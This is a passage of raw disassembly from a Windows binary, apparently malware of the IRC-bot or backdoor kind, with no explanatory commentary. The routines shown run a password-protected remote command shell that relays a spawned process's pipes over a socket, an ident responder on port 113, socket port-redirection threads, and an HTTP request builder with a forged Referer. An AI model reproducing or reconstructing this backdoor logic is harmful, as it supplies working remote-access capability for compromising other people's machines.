XREF: sub_40FB05+30j pop edi pop esi pop ebx leave retn sub_40FB05 endp ; =============== S U B R O U T I N E ======================================= sub_40FBC2 proc near ; CODE XREF: sub_40F1D3+17Cp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_418D00 test eax, eax pop ecx jbe short loc_40FBEB loc_40FBD5: ; CODE XREF: sub_40FBC2+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_40FBDF mov byte ptr [esi+edi], 2Fh loc_40FBDF: ; CODE XREF: sub_40FBC2+17j push edi inc esi call sub_418D00 cmp esi, eax pop ecx jb short loc_40FBD5 loc_40FBEB: ; CODE XREF: sub_40FBC2+11j mov eax, edi pop edi pop esi retn sub_40FBC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FBF0 proc near ; CODE XREF: sub_401CC1+4A58p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4E081C push 6 push 1 push 2 call dword_4E091C mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B190 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4E08A0 push [ebp+arg_10] mov [ebp+var_E], ax call sub_409EFD pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4E084C cmp eax, 0FFFFFFFFh jz short loc_40FCCD mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_40FC69 mov eax, offset dword_4E3630 loc_40FC69: ; CODE XREF: sub_40FBF0+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B910 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4E08EC push esi lea eax, [ebp+var_110] push edi push eax call near ptr sub_41C8D0 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4E08B8 pop esi loc_40FCCD: ; CODE XREF: sub_40FBF0+6Bj push ebx call dword_4E0934 call dword_4E0804 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41B740 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_40FD0D push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 14h loc_40FD0D: ; CODE XREF: sub_40FBF0+102j pop edi pop ebx leave retn sub_40FBF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FD11 proc near ; DATA XREF: sub_40141B+43Fo ; sub_401CC1+3C61o var_238 = byte ptr -238h var_38 = byte ptr -38h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp+var_1C] push esi push eax mov [ebp+var_8], esi call sub_41B190 add esp, 0Ch mov [ebp+var_1C], 2 push 71h call dword_4E08A0 push esi push 1 push 2 mov [ebp+var_1A], ax mov [ebp+var_18], esi call dword_4E091C mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40FE72 mov eax, [ebp+arg_0] push edi imul eax, 234h mov dword_4537D4[eax], ebx lea eax, [ebp+var_1C] push eax push ebx call dword_4E08CC cmp eax, 0FFFFFFFFh jz loc_40FE72 push 5 push ebx call dword_4E08C8 cmp eax, 0FFFFFFFFh jz loc_40FE72 mov [ebp+var_C], edi mov edi, 200h loc_40FD9C: ; CODE XREF: sub_40FD11+EAj ; sub_40FD11+14Aj ... lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C] push eax push ebx call dword_4E0930 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_40FE6D movzx eax, [ebp+var_2A] push eax push [ebp+var_28] call dword_4E0928 push eax lea eax, [ebp+var_238] push offset dword_44BFCC push eax call sub_41B740 lea eax, [ebp+var_238] push eax call sub_41458A add esp, 14h lea eax, [ebp+var_238] push esi push edi push eax push [ebp+var_4] call dword_4E08B8 cmp eax, 0FFFFFFFFh jz short loc_40FD9C lea eax, [ebp+var_238] push esi push eax call sub_415CFF push 0Ch lea eax, [ebp+var_38] push esi push eax call sub_41B190 push esi push esi lea eax, [ebp+var_38] push 2 push eax call sub_40A4F6 push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp+var_238] push edi push eax call sub_41B910 add esp, 34h lea eax, [ebp+var_238] push esi push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_238] push eax push [ebp+var_4] call dword_4E08EC cmp eax, 0FFFFFFFFh jz loc_40FD9C mov [ebp+var_8], 1 jmp loc_40FD9C ; --------------------------------------------------------------------------- loc_40FE6D: ; CODE XREF: sub_40FD11+A0j cmp [ebp+var_8], esi jnz short loc_40FE99 loc_40FE72: ; CODE XREF: sub_40FD11+47j ; sub_40FD11+6Bj ... call dword_4E083C push eax lea eax, [ebp+var_238] push offset dword_44C010 push eax call sub_41B740 lea eax, [ebp+var_238] push eax call sub_41458A add esp, 10h loc_40FE99: ; CODE XREF: sub_40FD11+15Fj push ebx call dword_4E0934 push [ebp+var_4] call dword_4E0934 push [ebp+arg_0] call sub_40AB19 pop ecx push esi call dword_4F1388 ; ExitThread pop edi pop esi pop ebx sub_40FD11 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FEBC proc near ; DATA XREF: sub_401CC1+58F5o var_350 = byte ptr -350h var_150 = byte ptr -150h var_14C = dword ptr -14Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_150] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp+var_14] push esi push eax call sub_41B190 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_44] call dword_4E08A0 push 6 push 1 push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi mov [ebp+var_4], edi call dword_4E091C cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_410028 mov ecx, [ebp+var_40] push 1 imul ecx, 234h push 401h push esi push eax mov dword_4537D4[ecx], eax call dword_4E07C0 lea eax, [ebp+var_14] push edi push eax push [ebp+arg_0] call dword_4E08CC test eax, eax jnz loc_410028 push 0Ah push [ebp+arg_0] call dword_4E08C8 test eax, eax jnz loc_410028 loc_40FF6C: ; CODE XREF: sub_40FEBC+C6j ; sub_40FEBC+147j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] call dword_4E0930 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_40FF6C movzx eax, [ebp+var_26] push [ebp+var_40] mov [ebp+var_14C], edi mov [ebp+var_30], esi push eax push [ebp+var_24] call dword_4E0928 push eax lea eax, [ebp+var_350] push offset unk_44C03C push eax call sub_41B740 push edi lea eax, [ebp+var_350] push 18h push eax call sub_40A7FD mov [ebp+var_3C], eax imul eax, 234h mov ecx, [ebp+var_40] add esp, 20h mov dword_4537CC[eax], ecx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_150] push esi push eax push offset sub_41004D push esi push esi call dword_4F1338 ; CreateThread mov ecx, [ebp+var_3C] imul ecx, 234h cmp eax, esi mov dword_4537DC[ecx], eax jz short loc_410013 loc_410000: ; CODE XREF: sub_40FEBC+155j cmp [ebp+var_30], esi jnz loc_40FF6C push 32h call dword_4F1334 ; Sleep jmp short loc_410000 ; --------------------------------------------------------------------------- loc_410013: ; CODE XREF: sub_40FEBC+142j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_44C084 call sub_4145FE pop ecx pop ecx jmp short loc_41002B ; --------------------------------------------------------------------------- loc_410028: ; CODE XREF: sub_40FEBC+63j ; sub_40FEBC+97j ... mov edi, [ebp+arg_0] loc_41002B: ; CODE XREF: sub_40FEBC+16Aj push edi call dword_4E0934 push [ebp+arg_0] call dword_4E0934 push [ebp+var_40] call sub_40AB19 pop ecx push esi call dword_4F1388 ; ExitThread pop edi pop esi sub_40FEBC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41004D proc near ; DATA XREF: sub_40FEBC+124o var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_41BC60 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] push 1 pop ecx mov [ebp+var_4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4E091C mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_410203 push 10h lea eax, [ebp+var_18] push edi push eax call sub_41B190 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call dword_4E08A0 mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_4E08DC cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_4100DD lea eax, [ebp+var_13C] push eax call dword_4E0920 jmp short loc_4100EB ; --------------------------------------------------------------------------- loc_4100DD: ; CODE XREF: sub_41004D+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4E085C loc_4100EB: ; CODE XREF: sub_41004D+8Ej cmp eax, edi jz loc_410203 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call dword_4E084C cmp eax, 0FFFFFFFFh jz loc_410203 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_4E0928 push eax lea eax, [ebp+var_344] push offset unk_44C0C0 push eax call sub_41B740 push esi lea eax, [ebp+var_344] push 18h push eax call sub_40A7FD imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_4537D4[ebx] mov dword_4537CC[eax], ecx add esp, 20h mov ecx, [esi] mov dword_4537D8[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_410234 push edi push edi call dword_4F1338 ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov dword_4537DC[ecx], eax jz short loc_4101F0 loc_41019D: ; CODE XREF: sub_41004D+15Dj cmp [ebp+var_20], edi jnz short loc_4101AC push 32h call dword_4F1334 ; Sleep jmp short loc_41019D ; --------------------------------------------------------------------------- loc_4101AC: ; CODE XREF: sub_41004D+153j mov ebx, 1000h loc_4101B1: ; CODE XREF: sub_41004D+19Fj push ebx lea eax, [ebp+var_1344] push edi push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_4E08B8 cmp eax, edi jle short loc_410203 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_4E08EC cmp eax, 0FFFFFFFFh jnz short loc_4101B1 jmp short loc_410203 ; --------------------------------------------------------------------------- loc_4101F0: ; CODE XREF: sub_41004D+14Ej call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_44C104 call sub_4145FE pop ecx pop ecx loc_410203: ; CODE XREF: sub_41004D+44j ; sub_41004D+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_4537D4[eax] call dword_4E0934 push [ebp+arg_0] call dword_4E0934 push [ebp+var_4] call sub_40AB19 pop ecx push edi call dword_4F1388 ; ExitThread pop edi pop esi pop ebx sub_41004D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410234 proc near ; DATA XREF: sub_41004D+130o var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_41BC60 mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_41026B: ; CODE XREF: sub_410234+7Cj push edi lea eax, [ebp+var_1128] push 0 push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+var_1128] push 0 push edi push eax push dword_4537D8[esi] call dword_4E08B8 test eax, eax jle short loc_4102B2 push 0 push eax lea eax, [ebp+var_1128] push eax push dword_4537D4[esi] call dword_4E08EC cmp eax, 0FFFFFFFFh jnz short loc_41026B loc_4102B2: ; CODE XREF: sub_410234+61j push dword_4537D8[esi] call dword_4E0934 push [ebp+var_14] call sub_40AB19 pop ecx push 0 call dword_4F1388 ; ExitThread pop edi pop esi sub_410234 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4102D1 proc near ; DATA XREF: sub_41055F+1BEo var_3D4 = byte ptr -3D4h var_350 = byte ptr -350h var_208 = dword ptr -208h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_F0 = byte ptr -0F0h var_B0 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch var_2C = byte ptr -2Ch var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp+var_3D4] push 1 mov [ebp+var_C], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp+var_208] mov [ebp+arg_0], eax imul eax, 234h lea esi, dword_4537D4[eax] xor edi, edi mov [ebp+var_8], edi mov [ebp+var_1F4], ebx mov eax, [esi] mov [ebp+var_1F0], eax lea eax, [ebp+var_C] push eax push edi lea eax, [ebp+var_1F4] push edi push eax push edi call dword_4E0888 test eax, eax jnz short loc_410355 push dword ptr [esi] call dword_4E0934 push [ebp+arg_0] call sub_40AB19 pop ecx push edi call dword_4F1388 ; ExitThread loc_410355: ; CODE XREF: sub_4102D1+6Aj push edi lea eax, [ebp+var_3C] push ebx push eax push dword ptr [esi] call dword_4E08B8 lea eax, [ebp+var_2C] push 10h push eax push dword ptr [esi] call sub_4104D6 lea eax, [ebp+var_4C] push 10h push eax push dword ptr [esi] call sub_4104D6 lea eax, [ebp+var_F0] push 40h push eax push dword ptr [esi] call sub_4104D6 add esp, 24h lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_1C] push eax push dword ptr [esi] call dword_4E0800 test eax, eax jz short loc_4103CE call dword_4E083C push eax push offset unk_44C144 call sub_4145FE push [ebp+arg_0] call sub_40AB19 add esp, 0Ch push edi call dword_4F1388 ; ExitThread loc_4103CE: ; CODE XREF: sub_4102D1+D8j push 2 lea eax, [ebp+var_18] push 4 push eax call dword_4E085C cmp eax, edi jnz short loc_4103F8 push [ebp+var_18] call dword_4E0928 push eax lea eax, [ebp+var_B0] push eax call sub_41B740 jmp short loc_410406 ; --------------------------------------------------------------------------- loc_4103F8: ; CODE XREF: sub_4102D1+10Dj push dword ptr [eax] lea eax, [ebp+var_B0] push eax call sub_41C300 loc_410406: ; CODE XREF: sub_4102D1+125j pop ecx pop ecx push edi push ebx push offset dword_4E3644 push dword ptr [esi] call dword_4E08EC cmp dword_4E363C, edi jnz short loc_410468 push [ebp+var_18] lea eax, [ebp+var_350] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax call sub_410530 add esp, 10h test eax, eax jnz short loc_410468 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4E08EC push dword ptr [esi] call dword_4E0934 push [ebp+arg_0] call sub_40AB19 pop ecx push edi call dword_4F1388 ; ExitThread loc_410468: ; CODE XREF: sub_4102D1+14Cj ; sub_4102D1+16Dj lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset unk_44C184 call sub_4145FE push [ebp+arg_0] call sub_4107E7 add esp, 10h test eax, eax jnz short loc_4104AF call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_44C1AC call sub_4145FE push [ebp+arg_0] call sub_40AB19 add esp, 0Ch push ebx call dword_4F1388 ; ExitThread loc_4104AF: ; CODE XREF: sub_4102D1+1B9j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset unk_44C1D8 call sub_4145FE push [ebp+arg_0] call sub_40AB19 add esp, 10h push edi call dword_4F1388 ; ExitThread sub_4102D1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104D6 proc near ; CODE XREF: sub_4102D1+9Ap ; sub_4102D1+A7p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4E08B8 cmp eax, 1 jnz short loc_410526 mov esi, [ebp+arg_4] loc_4104F4: ; CODE XREF: sub_4104D6+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_41051B test al, al jz short loc_41052A push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4E08B8 cmp eax, 1 jz short loc_4104F4 jmp short loc_410526 ; --------------------------------------------------------------------------- loc_41051B: ; CODE XREF: sub_4104D6+27j push offset unk_44C204 call sub_4145FE pop ecx loc_410526: ; CODE XREF: sub_4104D6+19j ; sub_4104D6+43j xor eax, eax jmp short loc_41052D ; --------------------------------------------------------------------------- loc_41052A: ; CODE XREF: sub_4104D6+2Bj push 1 pop eax loc_41052D: ; CODE XREF: sub_4104D6+52j pop esi leave retn sub_4104D6 endp ; =============== S U B R O U T I N E ======================================= sub_410530 proc near ; CODE XREF: sub_4102D1+163p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_41055B push [esp+arg_4] push [esp+4+arg_0] push offset dword_44C230 call sub_4145FE add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41055B: ; CODE XREF: sub_410530+11j push 1 pop eax retn sub_410530 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41055F proc near ; DATA XREF: sub_401CC1+1F09o var_5DC = dword ptr -5DCh var_5A4 = byte ptr -5A4h var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5A4h mov eax, [ebp+arg_0] push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+var_214] push 1 rep movsd pop edi mov [eax+1DCh], edi lea eax, [ebp+var_5A4] push eax push 202h call dword_4E081C xor esi, esi cmp eax, esi jz short loc_4105B8 push eax push offset unk_44C2A0 call sub_4145FE push [ebp+var_4C] call sub_40AB19 add esp, 0Ch push edi call dword_4F1388 ; ExitThread loc_4105B8: ; CODE XREF: sub_41055F+3Aj push edi push offset loc_4107DD call dword_4F13E0 ; SetConsoleCtrlHandler test eax, eax jnz short loc_4105F1 call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_44C2CC call sub_4145FE pop ecx pop ecx call dword_4E0804 push [ebp+var_4C] call sub_40AB19 pop ecx push edi call dword_4F1388 ; ExitThread loc_4105F1: ; CODE XREF: sub_41055F+67j push ebx push 10h lea eax, [ebp+var_20] push esi push eax call sub_41B190 add esp, 0Ch mov [ebp+var_20], 2 push [ebp+var_50] call dword_4E08A0 push 6 push edi push 2 mov [ebp+var_1E], ax mov [ebp+var_1C], esi call dword_4E091C mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410768 mov eax, [ebp+var_4C] push 10h imul eax, 234h mov dword_4537D4[eax], ebx lea eax, [ebp+var_20] push eax push ebx call dword_4E08CC test eax, eax jnz loc_410768 push 7FFFFFFFh push ebx call dword_4E08C8 test eax, eax jnz loc_410768 push offset unk_44C310 mov [ebp+var_10], 0Ch mov [ebp+var_C], esi mov [ebp+var_8], esi call sub_41458A pop ecx mov [ebp+arg_0], edi loc_410680: ; CODE XREF: sub_41055F+15Aj ; sub_41055F+1E4j lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_34] push eax push ebx call dword_4E0930 mov edi, eax cmp edi, 0FFFFFFFFh jz loc_41076B push [ebp+arg_0] lea eax, [ebp+arg_0] push eax push 8 push 0FFFFh push edi call dword_4E0880 cmp eax, 0FFFFFFFFh jz short loc_410680 movzx eax, [ebp+var_32] push [ebp+var_4C] mov [ebp+var_38], esi push eax push [ebp+var_30] call dword_4E0928 push eax lea eax, [ebp+var_414] push offset unk_44C34C push eax call sub_41B740 lea eax, [ebp+var_414] push eax call sub_41458A push edi lea eax, [ebp+var_414] push 9 push eax call sub_40A7FD mov [ebp+var_48], eax imul eax, 234h mov ecx, [ebp+var_4C] add esp, 24h mov dword_4537CC[eax], ecx lea eax, [ebp+var_24] push eax lea eax, [ebp+var_214] push esi push eax push offset sub_4102D1 lea eax, [ebp+var_10] push esi push eax call dword_4F1338 ; CreateThread mov ecx, [ebp+var_48] imul ecx, 234h cmp eax, esi mov dword_4537DC[ecx], eax jz short loc_410753 loc_410740: ; CODE XREF: sub_41055F+1F2j cmp [ebp+var_38], esi jnz loc_410680 push 32h call dword_4F1334 ; Sleep jmp short loc_410740 ; --------------------------------------------------------------------------- loc_410753: ; CODE XREF: sub_41055F+1DFj call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_44C390 call sub_4145FE pop ecx pop ecx jmp short loc_41076B ; --------------------------------------------------------------------------- loc_410768: ; CODE XREF: sub_41055F+C8j ; sub_41055F+ECj ... mov edi, [ebp+arg_0] loc_41076B: ; CODE XREF: sub_41055F+13Cj ; sub_41055F+207j call dword_4E083C push eax lea eax, [ebp+var_414] push offset unk_44C3CC push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_3C], esi jnz short loc_4107AB push esi lea eax, [ebp+var_414] push [ebp+var_40] push eax lea eax, [ebp+var_210] push eax push [ebp+var_214] call sub_408EB9 add esp, 14h loc_4107AB: ; CODE XREF: sub_41055F+22Aj lea eax, [ebp+var_414] push eax call sub_41458A pop ecx push edi call dword_4E0934 push ebx call dword_4E0934 call dword_4E0804 push [ebp+var_4C] call sub_40AB19 pop ecx push esi call dword_4F1388 ; ExitThread pop ebx loc_4107DD: ; DATA XREF: sub_41055F+5Ao xor eax, eax cmp [esp+5E0h+var_5DC], eax setz al retn sub_41055F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4107E7 proc near ; CODE XREF: sub_4102D1+1AFp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410938 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_4537D4[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_4F1338 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410B0A lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_410852 call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_44C404 call sub_4145FE or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_41088C ; --------------------------------------------------------------------------- loc_410852: ; CODE XREF: sub_4107E7+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410BBC lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_410893 call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_44C44C call sub_4145FE pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call dword_4F1368 ; TerminateThread loc_41088C: ; CODE XREF: sub_4107E7+69j xor eax, eax jmp loc_410933 ; --------------------------------------------------------------------------- loc_410893: ; CODE XREF: sub_4107E7+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call dword_4F13E4 ; WaitForMultipleObjects sub eax, ebx jz short loc_4108ED dec eax jz short loc_4108E7 dec eax jz short loc_4108D3 call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_44C494 call sub_4145FE pop ecx pop ecx jmp short loc_410902 ; --------------------------------------------------------------------------- loc_4108D3: ; CODE XREF: sub_4107E7+D5j mov edi, dword_4F1368 push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_410902 ; --------------------------------------------------------------------------- loc_4108E7: ; CODE XREF: sub_4107E7+D2j push ebx push dword ptr [esi+10h] jmp short loc_4108F1 ; --------------------------------------------------------------------------- loc_4108ED: ; CODE XREF: sub_4107E7+CFj push ebx push dword ptr [esi+14h] loc_4108F1: ; CODE XREF: sub_4107E7+104j call dword_4F1368 ; TerminateThread push 1 push dword ptr [esi+8] call dword_4F13AC ; TerminateProcess loc_410902: ; CODE XREF: sub_4107E7+EAj ; sub_4107E7+FEj push dword ptr [esi+10h] mov edi, dword_4F1324 call edi ; CloseHandle push dword ptr [esi+14h] call edi ; CloseHandle push dword ptr [esi+8] call edi ; CloseHandle push dword ptr [esi] call edi ; CloseHandle push dword ptr [esi+4] call edi ; CloseHandle push dword ptr [esi+0Ch] call dword_4E0934 push esi call sub_419940 pop ecx push 1 pop eax loc_410933: ; CODE XREF: sub_4107E7+A7j pop edi pop esi pop ebx leave retn sub_4107E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410938 proc near ; CODE XREF: sub_4107E7+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_418ED0 mov esi, eax pop ecx cmp esi, edi jz loc_410A22 mov ebx, dword_4F13B8 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; CreatePipe mov edi, dword_4F1324 test eax, eax jnz short loc_41099B call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_44C4C8 jmp short loc_4109BB ; --------------------------------------------------------------------------- loc_41099B: ; CODE XREF: sub_410938+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; CreatePipe test eax, eax jnz short loc_4109C3 call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_44C508 loc_4109BB: ; CODE XREF: sub_410938+61j call sub_4145FE pop ecx jmp short loc_4109F1 ; --------------------------------------------------------------------------- loc_4109C3: ; CODE XREF: sub_410938+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410A31 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi ; CloseHandle push [ebp+var_8] call edi ; CloseHandle cmp dword ptr [esi+8], 0 jnz short loc_410A26 push offset unk_44C548 call sub_41458A loc_4109F1: ; CODE XREF: sub_410938+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4109FD push [ebp+var_4] call edi ; CloseHandle loc_4109FD: 